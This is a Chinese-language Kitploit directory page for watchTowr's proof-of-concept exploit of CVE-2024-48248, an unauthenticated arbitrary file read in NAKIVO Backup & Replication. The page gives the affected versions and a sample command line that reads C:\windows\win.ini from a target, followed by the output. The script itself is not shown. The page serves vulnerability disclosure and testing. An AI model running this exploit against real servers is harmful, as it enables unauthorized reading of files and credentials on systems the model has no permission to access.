Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
nakivo-arbitrary-file-read-poc-CVE-2024-48248 — 针对CVE-2024-48248的概念验证漏洞利用,演示了NAKIVO备份和复制解决方案中的未认证任意文件读取。包含一个用于测试受影响版本的Python脚本。 | Kitploit
工具/GitHubGitHub/watchtowrlabs/nakivo-arbitrary-file-read-poc-cve-2024-48248
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试红队
GitHubwatchtowrlabs/nakivo-arbitrary-file-read-poc-cve-2024-48248

nakivo-arbitrary-file-read-poc-CVE-2024-48248

针对CVE-2024-48248的概念验证漏洞利用,演示了NAKIVO备份和复制解决方案中的未认证任意文件读取。包含一个用于测试受影响版本的Python脚本。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
311年前尚未审核
分享

CVE-2024-48248

NAKIVO备份与复制解决方案:未经认证的任意文件读取概念验证

请参阅我们的博客文章了解技术细节

实际操作中的检测

root@kitploit:~
python3 watchtowr-vs-nakivo-arbitrary-file-read-poc-CVE-2024-48248.py --url https://192.168.1.1:4443 --file "C:\\windows\\win.ini"
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                                  \/          \/     \/                            
          
        watchtowr-vs-nakivo-arbitrary-file-read-poc-CVE-2024-48248.py
        (*) Nakivo Unauthenticated Arbitrary File Read (CVE-2024-48248) POC by watchTowr
        
          - Sonny , watchTowr ([email protected])

        CVEs: [CVE-2024-48248]
        
[*] Targeting https://192.168.1.1:4443
[*] Attempting to read file 'C:\windows\win.ini'
[*] File Contents:
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

描述

此脚本是针对CVE-2024-48248的概念验证,针对NAKIVO备份与复制解决方案。更多详情请参阅我们的[博客文章] (https://labs.watchtowr.com/)。

受影响版本

  • NAKIVO备份与复制解决方案 10.11.3.86570及以下版本

关注watchTowr实验室

关注watchTowr实验室团队,获取最新安全研究

  • https://labs.watchtowr.com/
  • https://x.com/watchtowrcyber
下载工具